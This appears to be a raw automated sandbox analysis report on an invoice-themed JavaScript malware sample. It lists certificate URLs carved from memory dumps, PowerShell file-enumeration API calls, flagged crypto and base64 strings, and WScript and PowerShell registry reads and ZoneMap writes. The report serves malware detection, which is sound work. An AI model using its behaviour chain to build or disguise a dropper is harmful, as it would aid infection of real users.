"http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0hhttp://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0*[kqt(&;ebkvxy(" - Source: "00000000-00007652.00000001.238147.076B2000.00000004.mdmp") Found URL "http://www.microsoft.com/windowsmicrosoft.powershell.commands.utility.dllhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007652.00000002.240067.02F00000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.132.0.32@eckp1.3.132.0.10@eckp1.3.132.0.34ecdpl*xr1.3.132.0.8@eckp1.3.132.0.33ecdp1.3.132.0.34@eckp1.3.132.0.32ecdp1.3.132.0.35@eckp" - Source: "00000000-00007652.00000002.240067.02F00000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007652.00000002.240067.04F50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0/r$u,ev$f9]mwyprg?j?" - Source: "00000000-00007652.00000002.240067.04F50000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1" - Source: "00000000-00007652.00000002.240067.04F50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czc1n6;2n1;db" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?exlm;il" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszysgeotrust" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwestern" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0hhttp://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0*[kqt(&;ebkvxy(" - Source: "00000000-00007652.00000002.240067.076B2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pbsjbv4.0.30319" - Source: "00000000-00007652.00000002.240067.0C620000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00007652.00000003.240750.02F00000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00007652.00000003.240750.02F00000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00007652.00000003.240750.02F00000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;greater" - Source: "00000000-00007652.00000003.240750.02F00000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00007652.00000003.240750.02F00000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00007652.00000003.240750.02F00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0]q0o0mahttp://www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0wx" - Source: "00000000-00007652.00000003.240750.02F00000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007652.00000003.240750.02F00000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.132.0.32@eckp1.3.132.0.10@eckp1.3.132.0.34ecdpl*xr1.3.132.0.8@eckp1.3.132.0.33ecdp1.3.132.0.34@eckp1.3.132.0.32ecdp1.3.132.0.35@eckp" - Source: "00000000-00007652.00000003.240750.02F00000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007652.00000003.240750.04F50000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0-%3_j=sm" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.9iqmgvw,czc1n6;2n1;db" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://ocsp.thawte.com0:080660(0&https://www.thawte.com/cps0700.0,&http://crl.thawte.com/thawtepca-g3.crl0verisignmpki-2-4150w!$?exlm;il" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl4.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0yr;0" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl01.3.6.1.4.1.311.10.1120531151137z0/^g(o-cejy" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif0\:oj?rszysgeotrust" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://cert.startcom.org/sfsca-crl.crl0+%http://crl.startcom.org/sfsca-crl.crl0" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf05)http://cert.startcom.org/intermediate.pdf0" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://cert.startcom.org/policy.pdf0)startcom" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://logo.verisign.com/vslogo.gif03130$j0_b>mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*lwestern" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://www.certplus.com/crl/class2.crl06p" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microsofttimestamppca.crl0xl0j0hhttp://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0*[kqt(&;ebkvxy(" - Source: "00000000-00007652.00000003.240750.076B2000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pbsjbv4.0.30319" - Source: "00000000-00007652.00000003.240750.0C620000.00000004.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=74409&enterprise=%ls%dhttps://go.microsoft.com/fwlink/?linkid=74408&enterprise=https://go.microsoft.com/fwlink/?linkid=37020&name=%s&threatid=%u&enterprise=%dpynetsubmitsamplesconsentspynetreportingpclient_public_commodempclient_allowadminelevationacquirepclient_noforcedreboot\?\volume" - Source: "00000000-00007652.00000003.240750.6F541000.00000020.mdmp") Found URL "https://go.microsoft.com/fwlink/?linkid=851034&clcid=0x409&httpsigupdate_baseurlforceupdatefrommusignaturedisablenotificationcloudbasedbehaviorblockingsignaturecategoryiddisablescheduledsignatureupdateonbatterysignatureupdatecatchupintervalsignatureslastcheckednissignatureslastupdateddeltaupdatefailurenissignatureversionnissignaturelocation%mpconfig_productappdatapath%\definition" - Source: "00000000-00007652.00000003.240750.6F541000.00000020.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreportspynetreportinglocationlocalsettingoverridesubmitsamplesconsentdisableblockatfirstseenheartbeatdelayindaysheartbeatsamplingratessloptionsbypassinternetcheckmapslatencyretrytimeoutthreatseveritydefaultactionemptykeyvaluedisableprivacymode%mpconfig_productappdatapath%\telemetryallowuseruiaccessuilockdownnotification_suppresssuppressrebootnotificationsuppresswdonotificationmpconfig_productcodenamempconfig_productpathmpconfig_productappdatapathmpconfig_productuserappdatapathmpconfig_appdataroot12345678-f0f0-4f3f-b1f3-41cd1905616empconfig_reportingguid\msmplics.dllpconfigut-53e7e780-2330-40c6-94c6-be75e946e933software\microsoft\removaltools\mrtguidfalsemp_config_type_szmp_config_type_dwordmp_config_type_multi_szmp_config_type_binarymp_config_type_nonemp_config_origin_nonemp_config_origin_defaultmp_config_origin_preferencesmp_config_origin_mdm_policymp_config_origin_policy*sof**eof*t%uh%um%uspt%uhp%udp%udt%uh2000-01-01t%02u:%02u:%02umpclient_nouseunifiedschedulingenginelocalsystem2100-01-01t00:00:00d:(a;;fa;;;sy)(a;;frfx;;;ls)maintenanceregularmicrosoft\windows\windows" - Source: "00000000-00007652.00000003.240750.6F541000.00000020.mdmp")45:T8de,"powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00000652) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework64\\* (UID: 00000000-00000652) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00000652) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00000652) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00000652) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00000652) "powershell.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00000652) "powershell.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00000652) "powershell.exe" called "FindNextFileW" with parameter v3.0 (UID: 00000000-00000652) "powershell.exe" called "FindNextFileW" with parameter v3.5 (UID: 00000000-00000652) "powershell.exe" called "FindNextFileW" with parameter v4.0.30319 (UID: 00000000-00000652) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\* (UID: 00000000-00000652) "powershell.exe" called "FindNextFileW" with parameter fe2524177eb3088c77be666722039f52 (UID: 00000000-00000652) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\Microsoft.Pb378ec07#\* (UID: 00000000-00000652) "powershell.exe" called "FindNextFileW" with parameter b5ba37e1558ced178a99011a1d659b52 (UID: 00000000-00000652) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System\* (UID: 00000000-00000652) "powershell.exe" called "FindNextFileW" with parameter e43dd9c73ab5615e461bf5109c3facd6 (UID: 00000000-00000652) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\* (UID: 00000000-00000652) "powershell.exe" called "FindNextFileW" with parameter 0d59b0e237d7519417de10cd84bda4e7 (UID: 00000000-00000652) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Manaa57fc8cc#\* (UID: 00000000-00000652)46:T1142,file/memory contains long string with (Indicator: "aes"; File: "Rechnung 103971 GmbH 10-02-2026.js") file/memory contains long string with (Indicator: "base64"; File: "AMSI") file/memory contains long string with (Indicator: "FromBase64String"; File: "AMSI") file/memory contains long string with (Indicator: "GzipStream"; File: "AMSI") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; File: "00000000-00007652.00000000.236228.00101000.00000020.mdmp") Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000652.00000000.235397.277C0000.00000004.mdmp, 00000000-00000652.00000000.235397.277E0000.00000004.mdmp, 00000000-00000652.00000000.235397.27800000.00000004.mdmp, 00000000-00000652.00000000.235397.27820000.00000004.mdmp, 00000000-00000652.00000000.235397.27840000.00000004.mdmp") Found string "md5cryptoserviceprovider" (Indicator: "md5cryptoserviceprovider"; Source: "00000000-00000652.00000000.235397.277C0000.00000004.mdmp") Found string "rijndaelmanagedtransformmode" (Indicator: "rijndael"; Source: "00000000-00000652.00000000.235397.277C0000.00000004.mdmp") Found string "rijndaelmanagedtransformmode" (Indicator: "Rijndaelmanaged"; Source: "00000000-00000652.00000000.235397.277C0000.00000004.mdmp") Found string "tobase64transform" (Indicator: "base64"; Source: "00000000-00000652.00000000.235397.277C0000.00000004.mdmp") Found string "system.security.cryptography.x509certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00000652.00000000.235397.277C0000.00000004.mdmp, 00000000-00000652.00000000.235397.277E0000.00000004.mdmp, 00000000-00000652.00000000.235397.27800000.00000004.mdmp, 00000000-00000652.00000000.235397.27820000.00000004.mdmp, 00000000-00000652.00000000.235397.27840000.00000004.mdmp") Found string "rngcryptoserviceprovider" (Indicator: "rngcryptoserviceprovider"; Source: "00000000-00000652.00000000.235397.277C0000.00000004.mdmp") Found string "frombase64transform" (Indicator: "base64"; Source: "00000000-00000652.00000000.235397.277E0000.00000004.mdmp") Found string "frombase64transformmode" (Indicator: "base64"; Source: "00000000-00000652.00000000.235397.277E0000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "rijndael"; Source: "00000000-00000652.00000000.235397.277E0000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "Rijndaelmanaged"; Source: "00000000-00000652.00000000.235397.277E0000.00000004.mdmp") Found string "rsacryptoserviceprovider" (Indicator: "RsaCryptoServiceProvider"; Source: "00000000-00000652.00000000.235397.277E0000.00000004.mdmp") Found string "cryptostream" (Indicator: "cryptostream"; Source: "00000000-00000652.00000000.235397.277E0000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "rijndael"; Source: "00000000-00000652.00000000.235397.277E0000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "Rijndaelmanaged"; Source: "00000000-00000652.00000000.235397.277E0000.00000004.mdmp") Found string "base64formattingoptions" (Indicator: "base64"; Source: "00000000-00000652.00000000.235397.277E0000.00000004.mdmp") Found string "tripledescryptoserviceprovider" (Indicator: "tripledescryptoserviceprovider"; Source: "00000000-00000652.00000000.235397.277E0000.00000004.mdmp") Found string "cryptostreammode" (Indicator: "cryptostream"; Source: "00000000-00000652.00000000.235397.277E0000.00000004.mdmp") Found string "cryptostreammode" (Indicator: "cryptostreammode"; Source: "00000000-00000652.00000000.235397.277E0000.00000004.mdmp") Found string "rijndael" (Indicator: "rijndael"; Source: "00000000-00000652.00000000.235397.277E0000.00000004.mdmp") Found string "soapbase64binary" (Indicator: "base64"; Source: "00000000-00000652.00000000.235397.27800000.00000004.mdmp") Found string "gzipstream" (Indicator: "GzipStream"; Source: "00000000-00000652.00000000.235397.27800000.00000004.mdmp") Found string "base64stream" (Indicator: "base64"; Source: "00000000-00000652.00000000.235397.27800000.00000004.mdmp") Found string "base64writestateinfo" (Indicator: "base64"; Source: "00000000-00000652.00000000.235397.27820000.00000004.mdmp") Found string "aescng" (Indicator: "aes"; Source: "00000000-00000652.00000000.235397.27820000.00000004.mdmp") Found string "aesbcryptmodes" (Indicator: "aes"; Source: "00000000-00000652.00000000.235397.27820000.00000004.mdmp")47:Ta9e,Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00000652.00000000.235397.277E0000.00000004.mdmp") Found string "sha1fornonsecretpurposes" (Indicator: "secret"; Source: "00000000-00000652.00000000.235397.27800000.00000004.mdmp") Found string "passwordpropertytextattribute" (Indicator: "password"; Source: "00000000-00000652.00000000.235397.27800000.00000004.mdmp") Found string "secretagreementflags" (Indicator: "secret"; Source: "00000000-00000652.00000000.235397.27820000.00000004.mdmp") Found string "safencryptsecrethandle" (Indicator: "secret"; Source: "00000000-00000652.00000000.235397.27820000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00000652.00000000.235397.27880000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00000652.00000000.235397.278C0000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00000652.00000000.235397.278C0000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00000652.00000000.235397.278C0000.00000004.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00000652.00000000.235397.6F320000.00000004.mdmp, 00000000-00000652.00000000.235397.6F3AE000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00000652.00000000.235397.6F320000.00000004.mdmp, 00000000-00000652.00000000.235397.6F3AE000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00000652.00000000.235397.6F320000.00000004.mdmp, 00000000-00000652.00000000.235397.6F3AE000.00000004.mdmp") Found string "passwordderivebytes" (Indicator: "password"; Source: "00000000-00000868.00000000.235762.277D0000.00000004.mdmp") Found string "passwordauthenticationmechanism" (Indicator: "password"; Source: "00000000-00000868.00000000.235762.27870000.00000004.mdmp") Found string "passwordencodingmethod" (Indicator: "password"; Source: "00000000-00000868.00000000.235762.278B0000.00000004.mdmp") Found string "dsmakepasswordcredentials" (Indicator: "password"; Source: "00000000-00000868.00000000.235762.278B0000.00000004.mdmp") Found string "dsfreepasswordcredentials" (Indicator: "password"; Source: "00000000-00000868.00000000.235762.278B0000.00000004.mdmp") Found string "adminpasswordstatus" (Indicator: "password"; Source: "00000000-00000868.00000000.235762.27970000.00000004.mdmp") Found string "resetcomputermachinepasswordcommand" (Indicator: "password"; Source: "00000000-00000868.00000000.235762.27970000.00000004.mdmp")48:T949,"WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "WScript.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CMD.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\CRYPT32"; Key: "DIAGMATCHANYMASK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\CONHOST.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "cmd.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSTEM32\ATTRIB.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\BAM\USERSETTINGS\S-1-5-21-735145574-3570218355-1207367261-1001"; Key: "\DEVICE\HARDDISKVOLUME2\WINDOWS\SYSWOW64\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "HOSTNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "")49:T973,"WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "AUTODETECT"; Value: "0000000000") "WScript.exe" (Access type: "SETVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\NOTIFICATIONS\DATA"; Key: "418A073AA3BC3475"; Value: 